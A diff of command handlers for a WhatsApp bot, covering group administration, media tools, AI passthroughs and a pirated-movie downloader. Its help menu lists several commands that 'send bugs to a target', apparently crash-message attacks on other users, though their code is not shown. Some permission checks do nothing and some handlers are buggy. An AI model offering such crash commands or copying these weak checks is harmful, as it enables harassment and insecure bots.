ᴛᴇᴄʜ' + }, { quoted: m }); + + // Cleanup + fs.unlinkSync(savedVideoPath); + fs.unlinkSync(audioPath); + fs.unlinkSync(outputPath); + + delete savedVideos[m.sender]; + saveVideoData(savedVideos); + + console.log('🗑️ Temporary files deleted.'); + }) + .on('error', (err) => { + console.log('❌ FFmpeg Error:', err); + reply('❌ Error processing video: ' + err.message); + }); + + } catch (err) { + console.log('❌ Audio Save Error:', err); + reply('❌ Failed to save the audio.'); + } + break; + + + + + + +case "setpp1": +case "setpp": +case "setppbot": + if (!isCreator) return reply(`For My Owner Only`); + if (!quoted) + return reply( + `Send/Reply Image With Caption ${prefix + command}` + ); + if (!/image/.test(mime)) + return reply( + `Send/Reply Image With Caption ${prefix + command}` + ); + if (/webp/.test(mime)) + return reply( + `Send/Reply Image With Caption ${prefix + command}` + ); + + // Download and save the image + var media = await David.downloadMediaMessage(quoted); + const sharp = require("sharp"); // Ensure you have sharp installed (npm install sharp) + const tempFile = `ppbot_${Date.now()}.jpeg`; + + try { + // Resize the image to a square dimension (e.g., 640x640) + await sharp(media) + .resize(640, 640, { + fit: "cover", // Ensures the image is scaled and cropped to fit perfectly + }) + .jpeg() + .toFile(tempFile); + + // Set the profile picture + if (args[0] === "full") { + // Use `generateProfilePicture` to handle full pictures if necessary + var { img } = await generateProfilePicture(tempFile); + await David.query({ + tag: "iq", + attrs: { + to: botNumber, + type: "set", + xmlns: "w:profile:picture", + }, + content: [ + { + tag: "picture", + attrs: { type: "image" }, + content: img, + }, + ], + }); + } else { + // Use the standard profile picture update + await David.updateProfilePicture(botNumber, { url: tempFile }); + } + + // Cleanup + fs.unlinkSync(tempFile); + reply(`Profile picture updated successfully!`); + } catch (error) { + console.error("Error setting profile picture:", error); + reply(`Failed to set profile picture. Try again.`); + } + break; + + +case "linkgroup": + case "grouplink": + case "linkgrup": + case "linkgc": + if (!m.isGroup) return reply(mess.group); + if (!m.isGroup) return (`For Group Only`)  +if (!isAdmins) return (`For Admins Only`) +if (!isBotAdmins) return (`Bot Must Be Admin`); + let response = await David.groupInviteCode(m.chat); + David.sendText( + m.chat, + `👥 *GROUP LINK INFO*\n📛 *Name :* ${ + groupMetadata.subject + }\n👤 *Group Owner :* ${ + groupMetadata.owner !== undefined + ? "@" + groupMetadata.owner.split`@`[0] + : "Not known" + }\n🌱 *ID :* ${ + groupMetadata.id + }\n🔗 *Chat Link :* https://chat.whatsapp.com/${response}\n👥 *Member :* ${ + groupMetadata.participants.length + }\n`, + m, + { + detectLink: true + } + ); + break; + case "revoke": + case "resetlink": + if (!m.isGroup) return (`For Group Only`)  +if (!isAdmins) return (`For Admins Only`) +if (!isBotAdmins) return (`Bot Must Be Admin`); + await David.groupRevokeInvite(m.chat) + .then(res => { + reply( + `Successful Reset, Group Invite Link ${groupMetadata.subject}` + ); + }) + .catch(err => reply(json(err))); + break; + + + case 'getpp': + if (!m.quoted && (!m.mentionedJid || m.mentionedJid.length === 0)) { + return reply(`Reply to someone's message or tag a user with ${prefix + command}`); + } + + try { + // If the command is used in reply to someone's message + let targetUser = m.quoted ? m.quoted.sender : m.mentionedJid[0]; + let profilePicUrl = await David.profilePictureUrl(targetUser, 'image'); + let responseMessage = `Profile picture of @${targetUser.split('@')[0]}`; + await David.sendMessage(m.chat, { image: { url: profilePicUrl }, caption: responseMessage, mentions: [targetUser] }); + } catch (error) { + reply("Couldn't fetch profile picture. The user might not have a profile picture or an error occurred."); + } + break; + + +global.movieSearchResults = []; +global.movieLinks = []; + + case 'block': { + if (!isCreator) return Owner() +await reply('`Tag Someone!`') + let users = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')+'@s.whatsapp.net' + await David.updateBlockStatus(users, 'block') + await reply(`Done`) + } + break + case 'unblock': { + if (!isCreator) return (`For My Owner Only`) + await reply('`Tag Someone!`') + let users = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')+'@s.whatsapp.net' + await David.updateBlockStatus(users, 'unblock') + await reply(`Done`) + } + break + +case 'tinyurl':{ + if(!q) return reply('`link?`') + const request = require('request') + request(`https://tinyurl.com/api-create.php?url=${q}`, function + (error, response, body) { + try { + reply(body) + } catch (e) { + reply(e) + } + }) + } + break + + + + +// Command: Search for movies +case 'movie': { + if (!text) return reply(`❗ Example: ${prefix + command} `); + + try { + await reply(`🔍 *Searching for movies...*\nPlease wait.`); + const apiUrl = `https://www.dark-yasiya-api.site/movie/sinhalasub/search?text=${encodeURIComponent(text)}`; + const response = await axios.get(apiUrl); + + const { status, result } = response.data; + if (!status || !result || result.movies.length === 0) { + return reply(`❌ No movies found for "${text}". Please try again.`); + } + + // Save search results temporarily + global.movieSearchResults = result.movies; + + let movieList = `🎥 *Search Results for "${text}":*\n\n`; + result.movies.forEach((movie, index) => { + movieList += `${index + 1}. *${movie.title}*\n 🌟 ${movie.imdb} | 📅 ${movie.year}\n 🔗 [Details](${movie.link})\n\n`; + }); + movieList += `\nTo select a movie, use the command:\n*.selectmovie * (e.g., *.selectmovie 1*).`; + + await reply(movieList); + } catch (error) { + console.error('Error searching for movies:', error.message); + reply(`❌ An error occurred while searching for movies. Please try again.`); + } + break; +} + +// Command: Select a movie +case 'selectmovie': { + if (!text) return reply(`❗ Example: ${prefix + command} \nSelect a movie from the list.`); + if (!global.movieSearchResults || global.movieSearchResults.length === 0) { + return reply(`❌ No movies found. Please use the *movie* command first.`); + } + + const selectedIndex = parseInt(text.trim()) - 1; + if (isNaN(selectedIndex) || selectedIndex < 0 || selectedIndex >= global.movieSearchResults.length) { + return reply(`❌ Invalid number. Please choose a valid movie number from the list.`); + } + + const selectedMovie = global.movieSearchResults[selectedIndex]; + const movieDetailsUrl = `https://www.dark-yasiya-api.site/movie/sinhalasub/movie?url=${encodeURIComponent(selectedMovie.link)}`; + + try { + await reply(`🔍 *Fetching movie details...*\nPlease wait.`); + const response = await axios.get(movieDetailsUrl); + + const { status, result } = response.data; + if (!status || !result) { + return reply(`❌ Failed to fetch movie details. Please try again.`); + } + + const movie = result.data; + global.movieLinks = movie.dl_links; + global.selectedMovieTitle = movie.title; // Save the movie title globally for use in the download command + + let movieInfo = `🎬 *${movie.title}*\n\n`; + movieInfo += `📅 *Release Date:* ${movie.date}\n`; + movieInfo += `🌍 *Country:* ${movie.country}\n`; + movieInfo += `⏳ *Runtime:* ${movie.runtime}\n`; + movieInfo += `⭐ *IMDb Rating:* ${movie.imdbRate}/10 (${movie.imdbVoteCount} votes)\n`; + movieInfo += `🎥 *TMDb Rating:* ${movie.tmdbRate}/10\n\n`; + movieInfo += `💾 *Available Qualities:*\n`; + movie.dl_links.forEach((link, index) => { + movieInfo += `${index + 1}. *${link.quality}* - ${link.size}\n`; + }); + movieInfo += `\nTo download, use the command:\n*.dlmovie * (e.g., *.dlmovie 2*).`; + + await David.sendMessage(m.chat, { image: { url: movie.image }, caption: movieInfo }, { quoted: m }); + } catch (error) { + console.error('Error fetching movie details:', error.message); + reply(`❌ An error occurred while fetching movie details. Please try again.`); + } + break; +} + +// Command: Download the selected movie +case 'dlmovie': { + if (!text) return reply(`❗ Example: ${prefix + command} \nChoose a quality number from the list provided earlier.`); + if (!global.movieLinks || global.movieLinks.length === 0) { + return reply(`❌ No movie details found. Please use the *selectmovie* command first.`); + } + + const selectedIndex = parseInt(text.trim()) - 1; + if (isNaN(selectedIndex) || selectedIndex < 0 || selectedIndex >= global.movieLinks.length) { + return reply(`❌ Invalid number. Please choose a valid quality number from the list.`); + } + + const selectedLink = global.movieLinks[selectedIndex]?.link; + if (!selectedLink) { + return reply(`❌ Could not find the selected quality. Please try again.`); + } + + try { + await m.reply(`⏳ *Downloading the movie...*\nThis might take a while, please be patient.`); + + const movieFile = await axios({ + url: selectedLink, + method: 'GET', + responseType: 'stream' + }); + + const filePath = `./movie_${Date.now()}.mp4`; + const writer = fs.createWriteStream(filePath); + movieFile.data.pipe(writer); + + writer.on('finish', async () => { + const movieTitle = global.selectedMovieTitle || 'Movie'; // Use the saved movie title + await David.sendMessage(m.chat, { + document: { url: filePath }, + mimetype: 'video/mp4', + fileName: `${movieTitle}.mp4`, + caption: `🎥\n*Title:* ${movieTitle}\n\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }); + + fs.unlinkSync(filePath); // Delete the temporary file + }); + + writer.on('error', (err) => { + console.error('Error saving the movie file:', err); + reply(`❌ Failed to download the movie. Please try again.`); + }); + } catch (error) { + console.error('Error downloading the movie:', error.message); + reply(`❌ An error occurred while downloading the movie. Please try again.`); + } + break; +} + +case 'invite': { + if (!m.isGroup) return Group() + if (!isBotAdmins) return Admin() +if (!text) return reply(`Enter the number you want to invite to the group\n\nExample :\n*${prefix + command}* 2347043759577`) +if (text.includes('+')) return reply(`Enter the number together without *+*`) +if (isNaN(text)) return reply(`Enter only the numbers plus your country code without spaces`) +let group = m.chat +let link = 'https://chat.whatsapp.com/' + await David.groupInviteCode(group) + await David.sendMessage(text+'@s.whatsapp.net', {text: `≡ *GROUP INVITATION*\n\nA user invites you to join this group \n\n${link}`, mentions: [m.sender]}) + reply('`An invite link is sent to the user`') +} +break + + +case 'owner': { + // Owner's details + // Replace with the owner's number if not defined globally + const ownerName = global.ownername; // Replace with the owner's name + + // Send the contact card + await David.sendMessage(m.chat, { + contacts: { + displayName: ownerName, + contacts: [ + { + displayName: ownerName, // Name shown in the card + vcard: ` +BEGIN:VCARD +VERSION:3.0 +FN:${ownerName} +TEL;TYPE=CELL:${ownerNumber.replace(/[^0-9]/g, '')} +END:VCARD +`.trim(), + }, + ], + }, + }); + + break; +} + + +case "disk":{ +exec('cd && du -h --max-depth=1', (err, stdout) => { +if (err) return reply(`${err}`) +if (stdout) return reply(stdout) +}) +} +break +//=================================================// +case "add":{ +if (m?.isGroup && !isAdmins && !isGroupOwner && isBotAdmins) return +if (!text && !m?.quoted) reply('Enter the number you want to add') +let users = m?.quoted ? m?.quoted.sender : text.replace(/[^0-9]/g, '')+'@s.whatsapp.net' +await David.groupParticipantsUpdate(m?.chat, [users], 'add').catch(console.log) +} +break +//=================================================// +case "kick":{ +if (m?.isGroup && !isAdmins && !isGroupOwner && isBotAdmins) return +if (!text && !m?.quoted) reply('Enter the number you want to kick') +let users = m?.quoted ? m?.quoted.sender : text.replace(/[^0-9]/g, '')+'@s.whatsapp.net' +await David.groupParticipantsUpdate(m?.chat, [users], 'remove').catch(console.log) +} +break +//=================================================// +case "promote":{ +if (m?.isGroup && !isAdmins && !isGroupOwner && isBotAdmins) return +if (!text && !m?.quoted) reply('Enter the number you want to promote') +let users = m?.quoted ? m?.quoted.sender : text.replace(/[^0-9]/g, '')+'@s.whatsapp.net' +await David.groupParticipantsUpdate(m?.chat, [users], 'promote').catch(console.log) +} +break +//=================================================// +case "demote":{ +if (m?.isGroup && !isAdmins && !isGroupOwner && isBotAdmins) return +if (!text && !m?.quoted) reply('Enter the number you want to demote') +let users = m?.quoted ? m?.quoted.sender : text.replace(/[^0-9]/g, '')+'@s.whatsapp.net' +await David.groupParticipantsUpdate(m?.chat, [users], 'demote').catch(console.log) +} +break +//=================================================// +case "laugh": +case "happy": +case "sad": +case "kiss": +case "moon": +case "anger": +case "shy": +case "confused": +case "heart": { + try { + // Define expanded emoji sequences for each case + const emojiSequences = { + laugh: ["😂", "🤣", "😆", "😹", "😄", "😁", "😂", "🤣", "😹", "😅"], + happy: ["😃", "😄", "😁", "😊", "😎", "🥳", "😺", "🌞", "🌈", "😁"], + sad: ["😭", "😔", "😢", "😞", "🥺", "💔", "😿", "😓", "😩", "😟"], + kiss: ["💋", "❤️", "😍", "😘", "😗", "👄", "😽", "💌", "🫂", "💕"], + moon: ["🌑", "🌒", "🌓", "🌔", "🌕", "🌖", "🌗", "🌘", "🌙", "🌚"], + anger: ["😡", "🤬", "😤", "😠", "😾", "👿", "🔥", "💢", "😣", "😖"], + shy: ["😳", "😊", "😶", "🙈", "🙊", "🤭", "😌", "🥰", "😚", "😇"], + confused: ["😕", "🤔", "😖", "😵", "🤷", "😟", "😬", "😯", "😮", "🙃"], + heart: ["❤️", "💖", "💗", "💕", "💜", "💙", "💚", "💛", "💞", "💓"], + }; + + // Get emoji sequence based on the command + const sequence = emojiSequences[command]; + if (!sequence) return reply(`No sequence found for ${command}`); + + // Send the initial message and get the key for editing + const { key } = await David.sendMessage(m.chat, { text: sequence[0] }); + + // Loop through the emoji sequence to edit the message + for (let i = 1; i < sequence.length; i++) { + await new Promise((resolve) => setTimeout(resolve, 2000)); // 2-second delay + await David.sendMessage(m.chat, { text: sequence[i], edit: key }); // Edit the message using the key + } + } catch (error) { + console.error(error); + reply(`❌ *Error!* ${error.message}`); + } + break; +} +//=================================================// +case "gemini-img":{ +if (!quoted) return reply(`Reply Image With Caption ${prefix + command}`) +if (!/image/.test(mime)) return reply("only support images") +let media = await David.downloadAndSaveMediaMessage(qmsg) +let urlgambar = await TelegraPH(media) +let { data } = await axios.get("https://gmni.vercel.app/api/img?imageUrl="+ urlgambar +"&prompt=" + text) +reply(data.text) +} +break +//=================================================// +case "gemini":{ +if (!text) return reply("what do you want to ask me?") +let { data } = await axios.get("https://gmni.vercel.app/api/ask?text=" + text) +reply(data.text) +} +break +//=================================================// +case "ocr":{ +let q = m.quoted ? m.quoted : m +let mime = (q.msg || q).mimetype || '' +if (!mime) return reply(`convert image with .ocr command`) +if (!/image\/(jpe?g|png)/.test(mime)) return reply(`_*type ${mime} not supported!*_`) +const ocrapi = require("ocr-space-api-wrapper") +let img = await David.downloadAndSaveMediaMessage(q) +let url = await TelegraPH(img) +let hasil = await ocrapi.ocrSpace(url) + await reply(Results.ParsedResults[0].ParsedText) +} +break +//=================================================// +case "stickers":{ +if (!text) return reply(`Ex : ${prefix + command} cat`); +const anu = await stickersearch(text); +const shuffledStickers = anu.sticker.sort(() => Math.random() - 0.5); +const randomStickers = shuffledStickers.slice(0, 10); + +if (randomStickers.length > 0) { +for (let i = 0; i < randomStickers.length; i++) { +try { +await new Promise(resolve => setTimeout(resolve, i * 6000)); +await David.sendImageAsSticker(m?.chat, randomStickers[i], m, { +packname: global.packname, +author: global.author +}); +} catch (error) { +console.error(`Error sending file: ${error.message}`); +await reply(`Failed to send sticker *(${i + 1}/${randomStickers.length})*`); +} +} +}} +break +//=================================================// +case "translate":{ +let lang, text +if (args.length >= 2) { +lang = args[0] ? args[0] : 'id', text = args.slice(1).join(' ') +} else if (m?.quoted && m?.quoted.text) { +lang = args[0] ? args[0] : 'id', text = m?.quoted.text +} else return reply(`Example: Translate id Hello i am robot`) + +let res = await translate(text, { to: lang, autoCorrect: true }).catch(_ => null) +if (!res) return reply(`Error : This Language"${lang}"Not Supported\nType .languages`) +reply(`*Language Detected:* ${res.from?.language.iso}\n*To Language:* ${lang}\n\n*Translation:* ${res.text}`.trim()) +} +break +//=================================================// + +//=================================================// +case "calculator":{ + val = text +.replace(/[^0-9\-\/+*×÷πEe()piPI/]/g, '') +.replace(/×/g, '*') +.replace(/÷/g, '/') +.replace(/π|pi/gi, 'Math.PI') +.replace(/e/gi, 'Math.E') +.replace(/\/+/g, '/') +.replace(/\++/g, '+') +.replace(/-+/g, '-') +let format = val +.replace(/Math\.PI/g, 'π') +.replace(/Math\.E/g, 'e') +.replace(/\//g, '÷') +.replace(/\*×/g, '×') +try { +console.log(val) +let result = (new Function('return ' + val))() +if (!result) throw result +reply(`*${format}* = _${result}_`) +} catch (e) { +if (e == undefined) return reply('The contents?') + reply('Wrong format, only 0-9 and Symbols -, +, *, /, ×, ÷, π, e, (, ) supported') +} +} +break +//=================================================// +case 'bass': case 'blown': case 'deep': case 'earrape': case 'fast': case 'fat': case 'nightcore': case 'reverse': case 'robot': case 'slow': case 'smooth': case 'tupai':{ + +try { +let set +if (/bass/.test(command)) set = '-af equalizer=f=54:width_type=o:width=2:g=20' +if (/blown/.test(command)) set = '-af acrusher=.1:1:64:0:log' +if (/deep/.test(command)) set = '-af atempo=4/4,asetrate=44500*2/3' +if (/earrape/.test(command)) set = '-af volume=12' +if (/fast/.test(command)) set = '-filter:a "atempo=1.63,asetrate=44100"' +if (/fat/.test(command)) set = '-filter:a "atempo=1.6,asetrate=22100"' +if (/nightcore/.test(command)) set = '-filter:a atempo=1.06,asetrate=44100*1.25' +if (/reverse/.test(command)) set = '-filter_complex "areverse"' +if (/robot/.test(command)) set = '-filter_complex "afftfilt=real=\'hypot(re,im)*sin(0)\':imag=\'hypot(re,im)*cos(0)\':win_size=512:overlap=0.75"' +if (/slow/.test(command)) set = '-filter:a "atempo=0.7,asetrate=44100"' +if (/smooth/.test(command)) set = '-filter:v "minterpolate=\'mi_mode=mci:mc_mode=aobmc:vsbmc=1:fps=120\'"' +if (/tupai/.test(command)) set = '-filter:a "atempo=0.5,asetrate=65100"' +if (/audio/.test(mime)) { +let media = await David.downloadAndSaveMediaMessage(quoted) +let ran = getRandom('.mp3') +exec(`ffmpeg -i ${media} ${set} ${ran}`, (err, stderr, stdout) => { +fs.unlinkSync(media) +if (err) return reply(err) +let buff = fs.readFileSync(ran) +David.sendMessage(m.chat, { audio: buff, mimetype: 'audio/mpeg' }, { quoted : m }) +fs.unlinkSync(ran) +}) +} else reply(`Reply to the audio you want to change with a caption *${prefix + command}*`) +} catch (e) { +console.log(e) +reply('error') +}} +break + +case 'take': { +if (!m?.quoted) return reply('Reply with a sticker!') +let stiker = false +try { +let [packname, ...author] = text.split('|') +author = (author || []).join('|') +let mime = m?.quoted.mimetype || '' +if (!/webp/.test(mime)) throw 'Reply with a sticker!' +let img = await m?.quoted.download() +if (!img) throw 'Failed to download sticker!' +stiker = await addExif(img, packname || global.packname, author || global.author ) +} catch (e) { +console.error(e) +if (Buffer.isBuffer(e)) stiker = e +else throw 'An error occurred: ' + e +} finally { +if (stiker) David.sendFile(m?.chat, stiker, 'wms.webp', '', m, false, { asSticker: true }) +else throw 'Conversion failed' +} +} +break + + + + + +case 'candy': +case 'christmas': +case '3dchristmas': +case 'sparklechristmas': +case 'deepsea': +case 'scifi': +case 'rainbow': +case 'waterpipe': +case 'spooky': +case 'pencil': +case 'circuit': +case 'discovery': +case 'metalic': +case 'fiction': +case 'demon': +case 'transformer': +case 'berry': +case 'thunder': +case 'magma': +case '3dstone': +case 'neonlight': +case 'glitch': +case 'harrypotter': +case 'brokenglass': +case 'papercut': +case 'watercolor': +case 'multicolor': +case 'neondevil': +case 'underwater': +case 'graffitibike': +case 'snow': +case 'cloud': +case 'honey': +case 'ice': +case 'fruitjuice': +case 'biscuit': +case 'wood': +case 'chocolate': +case 'strawberry': +case 'matrix': +case 'blood': +case 'dropwater': +case 'toxic': +case 'lava': +case 'rock': +case 'bloodglas': +case 'hallowen': +case 'darkgold': +case 'joker': +case 'wicker': +case 'firework': +case 'skeleton': +case 'sand': +case 'glue': +case '1917': +case 'leaves': { + +if (!q) return reply(`Example : ${prefix+command} David Cyril`) + +let link +if (/candy/.test(command)) link = 'https://textpro.me/create-christmas-candy-cane-text-effect-1056.html' +if (/christmas/.test(command)) link = 'https://textpro.me/christmas-tree-text-effect-online-free-1057.html' +if (/3dchristmas/.test(command)) link = 'https://textpro.me/3d-christmas-text-effect-by-name-1055.html' +if (/sparklechristmas/.test(command)) link = 'https://textpro.me/sparkles-merry-christmas-text-effect-1054.html' +if (/deepsea/.test(command)) link = 'https://textpro.me/create-3d-deep-sea-metal-text-effect-online-1053.html' +if (/scifi/.test(command)) link = 'https://textpro.me/create-3d-sci-fi-text-effect-online-1050.html' +if (/rainbow/.test(command)) link = 'https://textpro.me/3d-rainbow-color-calligraphy-text-effect-1049.html' +if (/waterpipe/.test(command)) link = 'https://textpro.me/create-3d-water-pipe-text-effects-online-1048.html' +if (/spooky/.test(command)) link = 'https://textpro.me/create-halloween-skeleton-text-effect-online-1047.html' +if (/pencil/.test(command)) link = 'https://textpro.me/create-a-sketch-text-effect-online-1044.html' +if (/circuit/.test(command)) link = 'https://textpro.me/create-blue-circuit-style-text-effect-online-1043.html' +if (/discovery/.test(command)) link = 'https://textpro.me/create-space-text-effects-online-free-1042.html' +if (/metalic/.test(command)) link = 'https://textpro.me/creat-glossy-metalic-text-effect-free-online-1040.html' +if (/fiction/.test(command)) link = 'https://textpro.me/create-science-fiction-text-effect-online-free-1038.html' +if (/demon/.test(command)) link = 'https://textpro.me/create-green-horror-style-text-effect-online-1036.html' +if (/transformer/.test(command)) link = 'https://textpro.me/create-a-transformer-text-effect-online-1035.html' +if (/berry/.test(command)) link = 'https://textpro.me/create-berry-text-effect-online-free-1033.html' +if (/thunder/.test(command)) link = 'https://textpro.me/online-thunder-text-effect-generator-1031.html' +if (/magma/.test(command)) link = 'https://textpro.me/create-a-magma-hot-text-effect-online-1030.html' +if (/3dstone/.test(command)) link = 'https://textpro.me/3d-stone-cracked-cool-text-effect-1029.html' +if (/neonlight/.test(command)) link = 'https://textpro.me/create-3d-neon-light-text-effect-online-1028.html' +if (/glitch/.test(command)) link = 'https://textpro.me/create-impressive-glitch-text-effects-online-1027.html' +if (/harrypotter/.test(command)) link = 'https://textpro.me/create-harry-potter-text-effect-online-1025.html' +if (/brokenglass/.test(command)) link = 'https://textpro.me/broken-glass-text-effect-free-online-1023.html' +if (/papercut/.test(command)) link = 'https://textpro.me/create-art-paper-cut-text-effect-online-1022.html' +if (/watercolor/.test(command)) link = 'https://textpro.me/create-a-free-online-watercolor-text-effect-1017.html' +if (/multicolor/.test(command)) link = 'https://textpro.me/online-multicolor-3d-paper-cut-text-effect-1016.html' +if (/neondevil/.test(command)) link = 'https://textpro.me/create-neon-devil-wings-text-effect-online-free-1014.html' +if (/underwater/.test(command)) link = 'https://textpro.me/3d-underwater-text-effect-generator-online-1013.html' +if (/graffitibike/.test(command)) link = 'https://textpro.me/create-wonderful-graffiti-art-text-effect-1011.html' +if (/snow/.test(command)) link = 'https://textpro.me/create-snow-text-effects-for-winter-holidays-1005.html' +if (/cloud/.test(command)) link = 'https://textpro.me/create-a-cloud-text-effect-on-the-sky-online-1004.html' +if (/honey/.test(command)) link = 'https://textpro.me/honey-text-effect-868.html' +if (/ice/.test(command)) link = 'https://textpro.me/ice-cold-text-effect-862.html' +if (/fruitjuice/.test(command)) link = 'https://textpro.me/fruit-juice-text-effect-861.html' +if (/biscuit/.test(command)) link = 'https://textpro.me/biscuit-text-effect-858.html' +if (/wood/.test(command)) link = 'https://textpro.me/wood-text-effect-856.html' +if (/chocolate/.test(command)) link = 'https://textpro.me/chocolate-cake-text-effect-890.html' +if (/strawberry/.test(command)) link = 'https://textpro.me/strawberry-text-effect-online-889.html' +if (/matrix/.test(command)) link = 'https://textpro.me/matrix-style-text-effect-online-884.html' +if (/blood/.test(command)) link = 'https://textpro.me/horror-blood-text-effect-online-883.html' +if (/dropwater/.test(command)) link = 'https://textpro.me/dropwater-text-effect-872.html' +if (/toxic/.test(command)) link = 'https://textpro.me/toxic-text-effect-online-901.html' +if (/lava/.test(command)) link = 'https://textpro.me/lava-text-effect-online-914.html' +if (/rock/.test(command)) link = 'https://textpro.me/rock-text-effect-online-915.html' +if (/bloodglas/.test(command)) link = 'https://textpro.me/blood-text-on-the-frosted-glass-941.html' +if (/hallowen/.test(command)) link = 'https://textpro.me/halloween-fire-text-effect-940.html' +if (/darkgold/.test(command)) link = 'https://textpro.me/metal-dark-gold-text-effect-online-939.html' +if (/joker/.test(command)) link = 'https://textpro.me/create-logo-joker-online-934.html' +if (/wicker/.test(command)) link = 'https://textpro.me/wicker-text-effect-online-932.html' +if (/firework/.test(command)) link = 'https://textpro.me/firework-sparkle-text-effect-930.html' +if (/skeleton/.test(command)) link = 'https://textpro.me/skeleton-text-effect-online-929.html' +if (/sand/.test(command)) link = 'https://textpro.me/write-in-sand-summer-beach-free-online-991.html' +if (/glue/.test(command)) link = 'https://textpro.me/create-3d-glue-text-effect-with-realistic-style-986.html' +if (/1917/.test(command)) link = 'https://textpro.me/1917-style-text-effect-online-980.html' +if (/leaves/.test(command)) link = 'https://textpro.me/natural-leaves-text-effect-931.html' +let anu = await textpro.textpro(link, q) +David.sendMessage(m.chat, { image: { url: anu }, caption: `Done!` }, { quoted: m }) +} +break + +case 'convertime': + const [dime, fromZone, toZone] = args; + if (!dime || !fromZone || !toZone) return reply('Usage: .convertime [time] [from timezone] [to timezone]'); + const fromdime = moment.tz(dime, fromZone); + if (!fromdime.isValid()) return reply('Invalid time or timezone.'); + const todime = fromdime.clone().tz(toZone); + reply(`Time in ${toZone}: ${todime.format('HH:mm:ss')}`); + break; + + +case 'flipcoin': case 'coin': { + David.sendMessage(from, { react: { text: "🪙", key: m.key } }); + // Simulate flipping a coin (0 for heads, 1 for tails) + const result = Math.random() < 0.5 ? 'Heads' : 'Tails'; + + const flipCoinMessage = `🪙 *Coin Flip Result: ${result}*`; + reply(flipCoinMessage); + } + break; + +case 'dice': case 'roll': { + David.sendMessage(from, { react: { text: "🎲", key: m.key } }) + const result = Math.floor(Math.random() * 6) + 1; // Generate a random number between 1 and 6 + + const diceMessage = `🎲 *Dice Roll Result:* ${result}`; + + reply(diceMessage); + } + break; + +case 'listonline': case 'listactive': case 'here': { + + await David.sendMessage(m?.chat, {react: {text: `🎙`,key: m?.key,}}) + + let id = args && /\d+\-\d+@g.us/.test(args[0]) ? args[0] : m.chat + let online = [...Object.keys(store.presences[id]), botNumber] + let liston = 1 + David.sendText(m.chat, ' 「 *Online Members* 」\n\n' + online.map(v => `${liston++} . @` + v.replace(/@.+/, '')).join`\n`, m, { mentions: online }) + } + break; + +case 'couplepp': case 'ppcouple': { +await David.sendMessage(m?.chat, {react: {text: `🫶`,key: m?.key,}}) + +let anucpp = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/main/couple.json') +let random = anucpp[Math.floor(Math.random() * anucpp.length)] +David.sendMessage(m.chat, { image: { url: random.male }, caption: `Couple Male` }, { quoted: m }) +David.sendMessage(m.chat, { image: { url: random.female }, caption: `Couple Female` }, { quoted: m }) + } + break + +//=================================================// + + + + + + case 'help': case 'list': + // React with a lock emoji + await David.sendMessage(m?.chat, { react: { text: `📄`, key: m?.key } }); + let ais = "`" + + reply(` +┌ ❏ 𝐐𝐔𝐄𝐄𝐍_𝐀𝐍𝐈𝐓𝐀-𝐕𝟒 𝐇𝐄𝐋𝐏 𝐆𝐔𝐈𝐃𝐄 ❏ + +├❏ ᴄʜᴀᴛɢᴘᴛ - its an ai that answers any question you ask +├❏ ᴅᴇɢʀᴇᴇɢᴜʀᴜ - its an ai that answers any question you ask +├❏ ɢᴇᴍɪɴɪ - its an ai that answers any question you ask +├❏ ɢᴇᴍɪɴɪ2 - its an ai that answers any question you ask +├❏ ᴛᴇxᴛ2sᴘᴇᴇᴄʜ - its an ai that converts text to audio using ai automated voices +├❏ ɢᴘᴛ4 - its an open ai model that gives smart answer to any question you ask +├❏ ʀᴀɢʙᴏᴛ - its an ai that answers any question you ask +├❏ sᴍᴀʀᴛ - its an ai that answers any question you ask +├❏ ᴀɪ-sᴇᴀʀᴄʜ - an ai that searchs for images on the internet +├❏ ᴛxᴛɪᴍɢ - its an ai that generates images based on the prompts you give +├❏ ᴛxᴛ2ɪᴍɢ - its an ai that generates images based on the prompts you give +├❏ ᴘʀᴏᴍᴘᴛ-ɢᴘᴛ its an ai that generates prompt for it users +├❏ ɢᴘᴛɢᴏ - its an ai that answers any question you ask +├❏ ᴅᴀʟʟᴇ - its an ai that generates realistic images based on the prompts you give +├❏ ʀᴇᴍɪɴɪ - its an ai based tool used for enhancing and restoring photos and videos, particularly improving the quality of old, blurry, or low-resolution images. +├❏ ʙɪɴɢ - searches for images on the internet +├❏ ʙʟᴀᴄᴋʙᴏx - its an ai that answers any question you ask +├❏ ɴᴇᴠᴏ - Its an ai that is associated with smart home and entertainment control system +├❏ ʟᴜᴍɪɴɪ1 - Its a skin care analyzer ai uses ai skin analysis technology to scan the face in a snap and recommend cosmetics products +├❏ ɢᴘᴛ4 - its an ai that answers any question you ask +├❏ ᴅɪғғᴜsɪᴏɴ - its an ai that generates realistic images based on the prompts you give +├❏ ᴘʟᴀʏ - plays any Music on YouTube and sends only the audio +├❏ ᴠɪᴅᴇᴏ - sends / displays any Video YouTue +├❏ ᴛɪᴋᴛᴏᴋ - downloads any tiktok video +├❏ ɪɢᴅʟ - downloads any Instagram video +├❏ ɢᴅʀɪᴠᴇ - downloads any media from goggle drive +├❏ sғɪʟᴇ - downloads any media from sfile +├❏ ᴀɪᴏ - downloads any video from anywhere +├❏ sᴏɴɢ - plays any Music on YouTube and sends only the audio +├❏ ᴛᴡɪᴛᴛᴇʀ - downloads any video from Twitter +├❏ ʏᴛᴍᴘ3 - downloads any YouTube audio on YouTube +├❏ ɢɪᴛᴄʟᴏɴᴇ - Downloads any Github Repository +├❏ ɪɴsᴛᴀɢʀᴀᴍ - downloads any Instagram video +├❏ ᴀᴘᴋ - downloads apps +├❏ ᴍᴇᴅɪᴀғɪʀᴇ - downloads files on MediaFire +├❏ ʏᴛs - searchs for YouTube videos +├❏ ғᴀᴄᴇʙᴏᴏᴋ - downloads any Facebook Video +├❏ ᴛᴇʀᴀʙᴏx - downloads terabox media +├❏ ʟʏʀɪᴄs - searchs for lyrics for any song +├❏ ʙᴇɴᴋᴀɪ - sends bugs to a target +├❏ ǫ-ᴀɴɪᴛᴀ - sends bugs to a target +├❏ ᴠᴇɴᴏᴍ - sends bugs to a target +├❏ ᴢᴇɴɪᴛsᴜ - sends bugs to a target +├❏ ᴅᴀɪʟʏ - gives daily reward +├❏ ᴛʀᴀɴsғᴇʀ - transfer token to someone +├❏ 